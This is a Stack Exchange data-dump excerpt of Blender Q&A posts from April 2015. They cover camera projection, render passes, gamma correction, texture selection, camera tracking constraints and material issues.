  <row Id="28602" PostTypeId="1" CreationDate="2015-04-17T15:01:43.133" Score="3" ViewCount="323" Body="&lt;p&gt;This is my first contact with the fisheye model/lens type and I'm trying to understand how it works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I put some sphere on a circle at different angles 0(red), 30(vert),  60(blue), 90(jaune), 120(magenta),  150(cyan), 180(white) degrees (see image 1). After that, I did the render. I remark that the sphere did not project in the same order. At 0 degree, I put the red sphere  and at the 180 degrees, I put the white sphere. Can someone tell me why I did not get spheres in the same order ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k1Prj.png&quot; alt=&quot;image1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UOMdr.png&quot; alt=&quot;image2&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorUserId="3078" LastEditDate="2015-04-17T18:34:45.780" LastActivityDate="2015-04-17T18:34:45.780" Title="How does the fisheye projection model work?" Tags="&lt;cycles-render-engine&gt;&lt;camera&gt;" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="28603" PostTypeId="1" CreationDate="2015-04-17T15:54:39.923" Score="3" ViewCount="1320" Body="&lt;p&gt;The setup:&#xA;Display/shade mode is Textured, Shading is Multitexture&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No objects have materials, they're purely textured in the 3D view using the info assigned via UV/Image editor.  No objects have &quot;Transparency&quot; checked in the Properties panel/Object/Display pane, but when I've tried it has no effect for this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: when selecting objects which are partly or fully overlapped by another object with a texture that is partly transparent, then when one of those objects are selected, the portion that is overlapped by the partially transparent object is entirely masked out.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to more appropriately set this up before I get to using the materials?  Or can someone point me to a wiki/manual entry for this behaviour if it's the proper behaviour.  I've been searching for hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pictures say more than words....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clear plastic is selected, nothing disappears:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rHpeu.jpg&quot; alt=&quot;Clear plastic is selected, nothing disappears&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Card backing selected and disappears behind plastic:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4HC4W.jpg&quot; alt=&quot;Card backing selected and disappears behind plastic&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Action figure selected, upper body out of plastic, lower body disappears:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sjpqh.jpg&quot; alt=&quot;Action figure selected, upper body out of plastic, lower body disappears&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Action figure and card backing selected, both disappear behind plastic:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/EhT8j.jpg&quot; alt=&quot;Action figure and card backing selected, both disappear behind plastic&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EXTRA UPDATE...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is very weird.  If I grab the set of objects and duplicate and move them, then the viewport rendering weirdness reverses itself: the clear plastic is opaque when unselected; translucent when selected.  Further, if I repeatedly select the new created reversed-behaviour objects, duplicate and move, the behaviour reverses again so the clear plastic is translucent, but selecting the character within causes it to be clipped. And so I get something like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sGsUj.jpg&quot; alt=&quot;alternating weird behaviour when repeated duplicating.. &quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1801" LastEditorUserId="1801" LastEditDate="2015-04-17T18:38:42.420" LastActivityDate="2015-04-17T18:38:42.420" Title="Objects behind partial-transparent objects are masked out when selected" Tags="&lt;texturing&gt;&lt;transparency&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="28604" PostTypeId="1" CreationDate="2015-04-17T16:06:23.080" Score="2" ViewCount="302" Body="&lt;p&gt;I'm trying to extract a shadow pass in internal but it isn't looking like expected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what the render looks like:&#xA;&lt;a href=&quot;https://imgur.com/ItKrTYt&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/ItKrTYt.png&quot; title=&quot;source: imgur.com&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the shadow pass looks like this: &#xA;&lt;a href=&quot;https://imgur.com/hqFcaDh&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/hqFcaDh.png&quot; title=&quot;source: imgur.com&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It brutally cuts off the side of the face and the floor, but the main render has a much smoother transition on the face and more easily seen, the floor. Why is this happening and how do I fix it?&lt;/p&gt;&#xA;" OwnerUserId="5634" LastEditorUserId="5634" LastEditDate="2015-04-18T14:40:44.457" LastActivityDate="2015-04-18T14:40:44.457" Title="Correct Shadow Pass in Internal?" Tags="&lt;blender-internal-render-engine&gt;&lt;compositor&gt;&lt;light&gt;&lt;render-passes&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="28606" PostTypeId="2" ParentId="28599" CreationDate="2015-04-17T17:30:02.637" Score="2" Body="&lt;p&gt;There are two things here: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;you need help with three.js exporter addon and&lt;/li&gt;&#xA;&lt;li&gt;the thing you are trying to export isn't supported.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The current Three.js exporter will export certain types of animation, but  an animation where the Boolean modifier is of prime importance (modifying the mesh every frame) isn't going to work as you hoped. For that to work Three.js would need to have a way to deal with the boolean operation, and it would need to be analogous to Blender's Boolean modifier. To my knowledge Three.js has no such feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exporter by MrDoob and associates strips out modifiers by applying them if possible. The boolean modifier can't really be applied per frame unless you export the mesh (per frame) to a format that Three.js knows how to handle (per frame). But that turns into a different question, that you might want to ask on github issue tracker of Three.js &lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2015-04-17T17:30:02.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28607" PostTypeId="1" AcceptedAnswerId="28613" CreationDate="2015-04-17T18:08:05.427" Score="7" ViewCount="373" Body="&lt;p&gt;For some reason there's a difference between the render layer's Mist Pass itself and the pass seen through the Viewer Node at least in Cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hqKxI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need an explanation to this, because I've experienced this changing into an animation too.&lt;/p&gt;&#xA;" OwnerUserId="9482" LastActivityDate="2015-04-18T08:27:10.960" Title="Mist Pass differences between Render Layer and Viewer" Tags="&lt;rendering&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28609" PostTypeId="1" CreationDate="2015-04-17T19:33:03.477" Score="3" ViewCount="1488" Body="&lt;p&gt;I'm trying to select just the faces the camera can currently see to do some specialized uv mapping for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I leave &quot;Limit Selection To Visible&quot; off, I can select all visible faces - but also all non-visible faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I click this on, though, it doesn't seem to select all visible faces - just some of them.  Please see screenshots, one showing me using border select to select the faces, and one zoomed in a moment later showing what was actually selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? Is there some sort of tolerance config parameter somewhere?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Per @Vince's comment, I should clarify what I think I'm doing.  In the first screen shot, I took a camera, right clicked on it, went into camera perspective via ctrl-num0, put a mesh in edit mode, Select &gt; Deselected All, pressed B to start border select, made sure Face select was on and &quot;Limit Selection To Visible&quot; was on, and you can see me dragging from top left down to bottom right over the mesh.  &lt;strong&gt;I expect that every face visible in this view should be selected&lt;/strong&gt;.  HOWEVER, immediately afterward, when I zoom in (second screen shot, all I did was scroll the middle mouse button), you can see that not all the triangles were selected.  There's a patchwork of white areas, which are the selected triangles from that operation, but all of the dark areas are faces that were facing the camera but weren't (for some reason) selected.  I expect that all of these should be selected (ie white).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, if I try this exact same thing again zoomed in, more things that weren't selected become selected; and if I start over but further zoomed out, even fewer faces end up selected in the end.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yes, this is a straight flat noob question about selection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please excuse the funky texturing (blue/green), which has nothing to do with the question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nZ6UC.png&quot; alt=&quot;Here we go, selecting visible faces!&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1JswT.png&quot; alt=&quot;Nope, not today.&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12816" LastEditorUserId="12816" LastEditDate="2015-04-17T21:19:46.307" LastActivityDate="2015-04-17T21:19:46.307" Title="Why won't Blender select all visible faces?" Tags="&lt;selection-tools&gt;&lt;faces&gt;" AnswerCount="0" CommentCount="6" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28610" PostTypeId="1" AcceptedAnswerId="28657" CreationDate="2015-04-17T21:42:11.170" Score="5" ViewCount="1433" Body="&lt;p&gt;I am not sure if this functionality exists, but I seem to remember seeing it somewhere. Basically what I want to do is to be able to set a margin where an image texture will blend (fade) into itself, making a smooth transition. Does this option exist? Is this even a feasible feature?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3krXr.png&quot; alt=&quot;Tiling Example&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-04-19T15:02:13.833" Title="Is it possible to blend a tiled texture with itself?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28611" PostTypeId="2" ParentId="28596" CreationDate="2015-04-18T01:17:33.413" Score="6" Body="&lt;p&gt;To bake texture in Cycles without having any influence from objects and lights in the scene you need to choose &lt;em&gt;Diffuse Color&lt;/em&gt; in Bake Type. The result is similar to baking shadeless material in Blender Internal.&lt;/p&gt;&#xA;&lt;p&gt;From Cycles Render Baking documentation page: &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/cycles/baking.html#render-baking&quot; rel=&quot;nofollow noreferrer&quot;&gt;Render Baking&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Diffuse Color/Direct/Indirect&lt;/strong&gt;&lt;br /&gt;&#xA;Bakes the diffuse pass of a material. Diffuse Color is a property of the surface and independent of sampling refinement.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LLpDJ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="15924" LastEditDate="2020-10-20T14:02:32.387" LastActivityDate="2020-10-20T14:02:32.387" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28612" PostTypeId="2" ParentId="28607" CreationDate="2015-04-18T01:28:29.913" Score="7" Body="&lt;p&gt;Passing it through the viewer like that causes it to be treated an output color instead of a data pass, so Blender starts gamma correcting it. When you view a pass directly, it is not corrected and you just see the raw data. You can verify this by checking values in a particular region on the raw pass, and comparing them to linear values shown on the viewer (not the ones labeled &quot;CM&quot;). They'll be the same.&lt;/p&gt;&#xA;" OwnerUserId="8081" LastActivityDate="2015-04-18T01:28:29.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28613" PostTypeId="2" ParentId="28607" CreationDate="2015-04-18T08:27:10.960" Score="5" Body="&lt;p&gt;Both images contain the same information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simplilfied explanation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Internally blender works the brightness values in a &lt;strong&gt;linear&lt;/strong&gt; way: Twice the light will yield values that are twice as bright. But if you were to see a linear relationship between luminance and pixel value, you would inmedately think that the brightness value seem off.&#xA;The Issue is that we are much more susceptible to perceive subtle changes in the shadows than we are on the bright tones. &lt;strong&gt;We interpret luminance in a non linear manner&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To compensate for that difference a &lt;strong&gt;&lt;em&gt;gamma&lt;/em&gt;&lt;/strong&gt; curve has to be applied to interpret the image. Only then we can feel something seem twice as bright in a correct way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the image difference you see is the result of the viewer applying a gamma curve that is determined by the color management's display system, whereas the render layer by itself has no gamma correction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you go to the &lt;strong&gt;Color Management&lt;/strong&gt; controls for the scene you can enable or disable the settings for the data or rendering to see the difference on how the data gets interpreted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HCPFq.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A clear explanation of gamma can be found &lt;strong&gt;&lt;a href=&quot;http://www.cambridgeincolour.com/tutorials/gamma-correction.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-04-18T08:27:10.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28614" PostTypeId="1" CreationDate="2015-04-18T10:17:20.717" Score="5" ViewCount="525" Body="&lt;p&gt;I'm trying to use &lt;code&gt;layout.template_preview&lt;/code&gt; to display texture previews on some custom nodes I created. I'm currently calling it with just: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;layout.template_preview(bpy.data.textures['some_name'])&lt;/code&gt; I'm not exactly sure what the other parameters do...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem is I can only get one texture to display at a time. The other nodes will display the same texture, even when I supply &lt;code&gt;layout.template_preview&lt;/code&gt; with different textures. When I click on different nodes, sometimes the texture will change. Also, when the previews are displayed in the nodes, the texture preview in the properties panel disappears. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder if I need to do something with the ID's, or maybe it has something to do with the user interface rendering.&lt;/p&gt;&#xA;" OwnerUserId="13838" LastEditorUserId="3710" LastEditDate="2015-04-18T14:34:56.057" LastActivityDate="2015-04-18T14:34:56.057" Title="How to display texture preview on a custom node?" Tags="&lt;pynodes&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28615" PostTypeId="1" AcceptedAnswerId="28646" CreationDate="2015-04-18T10:47:23.800" Score="9" ViewCount="3846" Body="&lt;p&gt;I'm using a simple script to create and render a scene and when I run the script from command-line as &lt;code&gt;blender --background --python hello.py&lt;/code&gt; it prints lots of lines like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fra:1 Mem:7.99M (19.13M, Peak 27.65M) | Scene, Part 243-256&#xA;Fra:1 Mem:7.99M (19.16M, Peak 27.65M) | Scene, Part 244-256&#xA;Fra:1 Mem:7.99M (19.16M, Peak 27.65M) | Scene, Part 245-256&#xA;Fra:1 Mem:7.99M (19.16M, Peak 27.65M) | Scene, Part 246-256&#xA;Fra:1 Mem:7.99M (19.13M, Peak 27.65M) | Scene, Part 247-256&#xA;Fra:1 Mem:7.99M (19.13M, Peak 27.65M) | Scene, Part 248-256&#xA;Fra:1 Mem:7.99M (19.16M, Peak 27.65M) | Scene, Part 249-256&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please, does anyone know how to render silently, i.e. not verbose? &lt;code&gt;--verbose 0&lt;/code&gt; didn't help...&lt;/p&gt;&#xA;" OwnerUserId="13839" LastActivityDate="2020-05-19T11:01:02.823" Title="Silent command line rendering" Tags="&lt;python&gt;&lt;rendering&gt;&lt;command-line&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28616" PostTypeId="1" CreationDate="2015-04-18T11:53:00.807" Score="1" ViewCount="4630" Body="&lt;p&gt;Blender has nice sculpting tools. Dynamic topology, variety of brushes and texture paint make it really nice sculpting software. But can it be an alternative to Zbrush? Can I make good looking hi-poly models without lots of annoyance?&#xA;While I find many Blender tutorials about making characters, I didn't find any for 3D textures. For example - can I make something like this in Blender - &lt;a href=&quot;https://www.youtube.com/watch?v=KR12Ja51iRs&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=KR12Ja51iRs&lt;/a&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And is it possible to make an UV map for hi-poly model without loosing stability? I've tried make an UV to hi-poly rock - Blender has frozen and I had to close it.&lt;/p&gt;&#xA;" OwnerUserId="13384" LastActivityDate="2015-04-18T11:53:00.807" Title="Can Blender be an alternative to Zbrush?" Tags="&lt;modeling&gt;&lt;texturing&gt;&lt;uv&gt;&lt;sculpting&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-04-18T12:51:37.487" ContentLicense="CC BY-SA 3.0" />
  <row Id="28618" PostTypeId="1" CreationDate="2015-04-18T12:31:40.040" Score="3" ViewCount="387" Body="&lt;p&gt;I've been using blender for a while now, and this has never happened to me before. I was designing an ad in Blender 2.73a for a game that I made. However, when I went into camera view, everything looked bigger then in the final render. Why is this happening and how can I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I've been using blender for about a year, but I still don't know all the buttons, so please no jargon!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wZ0F7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DOpl6.png&quot; alt=&quot;3D view and final render&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13840" LastEditorUserId="5426" LastEditDate="2015-04-25T23:38:08.353" LastActivityDate="2015-04-25T23:38:08.353" Title="3D view is completely warped!" Tags="&lt;rendering&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28619" PostTypeId="2" ParentId="7272" CreationDate="2015-04-18T14:10:51.693" Score="1" Body="&lt;p&gt;From the code above I'm not exactly sure how to give a contextually direct solution, but in an attempt to help move along the issue...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Set up a node tree reference: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;tree = bpy.context.scene.node_tree&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set up a link reference:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;your_links = tree.links&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make your links:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;your_link = your_links.new(your_node.outputs[0],another_node.inputs[0])&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To change the values you could do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;your_node.inputs[0].default_value = 0.3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11253" LastEditorUserId="3710" LastEditDate="2015-04-18T14:27:53.043" LastActivityDate="2015-04-18T14:27:53.043" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28620" PostTypeId="1" CreationDate="2015-04-18T14:41:19.937" Score="6" ViewCount="568" Body="&lt;p&gt;I have one object in my scene that I need rendered without any Anti-Aliasing, but I'd like the rest of the scene to still be Anti-Aliased, is there any way to achieve this? I'm using Cycles.&lt;/p&gt;&#xA;" OwnerUserId="5634" LastEditorUserId="5634" LastEditDate="2015-04-18T14:55:40.307" LastActivityDate="2015-04-18T15:59:15.907" Title="Object Specific Anti-Aliasing" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;antialiasing&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28621" PostTypeId="1" AcceptedAnswerId="28625" CreationDate="2015-04-18T14:53:18.607" Score="9" ViewCount="7481" Body="&lt;p&gt;I have a camera System that is supposed to look at the empty in my scene. It should only move, not rotate. It should rotate in two parts. One, the actual &lt;code&gt;sensor body&lt;/code&gt; and the other, &lt;code&gt;mount plate&lt;/code&gt;. Rotating these two parts the camera should be pointing straight at the object. I assume this should be done using constraints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uQ6s2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.pasteall.org/blend/35646&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2015-10-29T00:05:57.770" Title="Make Camera System Look at Empty" Tags="&lt;constraints&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28622" PostTypeId="1" AcceptedAnswerId="28623" CreationDate="2015-04-18T15:07:03.900" Score="7" ViewCount="787" Body="&lt;p&gt;As you see in the picture I am looking at the room modeled through the camera perspective:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/25zWL.png&quot; alt=&quot;Camera view&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to change my camera settings to be able to render a picture of the whole room. How can I do that?&lt;/p&gt;&#xA;" OwnerUserId="13001" LastEditorDisplayName="user1853" LastEditDate="2015-04-18T16:14:15.677" LastActivityDate="2015-04-23T00:53:50.703" Title="How can I change the camera to include more of my scene?" Tags="&lt;rendering&gt;&lt;objects&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28623" PostTypeId="2" ParentId="28622" CreationDate="2015-04-18T15:43:48.300" Score="11" Body="&lt;p&gt;&lt;strong&gt;This is the Default 35mm frame&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tGZTl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There are &lt;strong&gt;two ways&lt;/strong&gt; you can bring more content into frame.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Lower the focal length of the camera, in this case from &lt;code&gt;35mm&lt;/code&gt; to &lt;code&gt;25mm&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HT1Yx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Back the camera up (I prefer fly mode over grabbing because I can see the result while doing so)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Go into fly mode, &lt;code&gt;shift + f&lt;/code&gt;, &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;do not move the mouse while doing this (otherwise you will change what you are looking at)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;back up, &lt;code&gt;s&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zuDyP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note that cameras with a low focal length can look weird, look at this &lt;code&gt;10mm&lt;/code&gt; example&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X1JMH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2015-04-18T17:08:23.657" LastActivityDate="2015-04-18T17:08:23.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28624" PostTypeId="2" ParentId="28620" CreationDate="2015-04-18T15:59:15.907" Score="3" Body="&lt;p&gt;Blender/Cycles doesn't have this feature currently&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-04-18T15:59:15.907" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28625" PostTypeId="2" ParentId="28621" CreationDate="2015-04-18T16:29:11.647" Score="12" Body="&lt;p&gt;This is exactly what the &lt;em&gt;&lt;a href=&quot;http://www.blender.org/manual/rigging/constraints/tracking/locked_track.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Locked Track&lt;/a&gt;&lt;/em&gt; constraint is for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you need to set up your camera objects. &lt;a href=&quot;https://blender.stackexchange.com/a/26109/2217&quot; title=&quot;A good read on the parenting options&quot;&gt;Parent&lt;/a&gt; the lens to the mount. Then the mount to the base. This hierarchy will enable you to get the motion you are looking for in all the pieces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a &lt;em&gt;Locked Track&lt;/em&gt; constraint to the lens object.  Notice the axis the lens is pointing on (you may want to turn on axis display in the object tab of the properties window) in my example it is looking down the Y axis. So it is tracking along the Y, and rotation is locked to only the X axis.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H5Tp2.png&quot; alt=&quot;locked track constraint settings on the camera&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1Q4SM.png&quot; alt=&quot;scene with camera objects and tracking empty&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add another &lt;em&gt;Locked Track&lt;/em&gt; constraint, this time to the mount object. It has similar settings, except that the rotation is locked to only the Z axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/184/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend File&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Hty4.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As a bonus step add a &lt;em&gt;Limit Rotation&lt;/em&gt; constraint to the lens object, to stop it from rotating through the base. If your camera is looking along the same axis as mine, then you only need to limit the X axis.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2015-10-29T00:05:57.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28626" PostTypeId="1" AcceptedAnswerId="28640" CreationDate="2015-04-18T17:41:29.550" Score="3" ViewCount="934" Body="&lt;p&gt;I am using this Glass material (&lt;a href=&quot;http://www.blender-materials.com/material/glass-cg001&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.blender-materials.com/material/glass-cg001&lt;/a&gt;) for this model here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is, the yellow color of the Diffuse material on the base of the model turns black when rendered:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nCajh.png&quot; alt=&quot;Error caused by glass&quot;&gt;&#xA;  &lt;img src=&quot;https://i.stack.imgur.com/tERQL.png&quot; alt=&quot;What it needs to look like&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have little to no experience in designing materials in Blender Internal. How do I go about fixing this?&lt;/p&gt;&#xA;" OwnerUserId="2613" LastActivityDate="2015-04-19T00:15:12.133" Title="Material turns black through Glass material (Internal)" Tags="&lt;materials&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
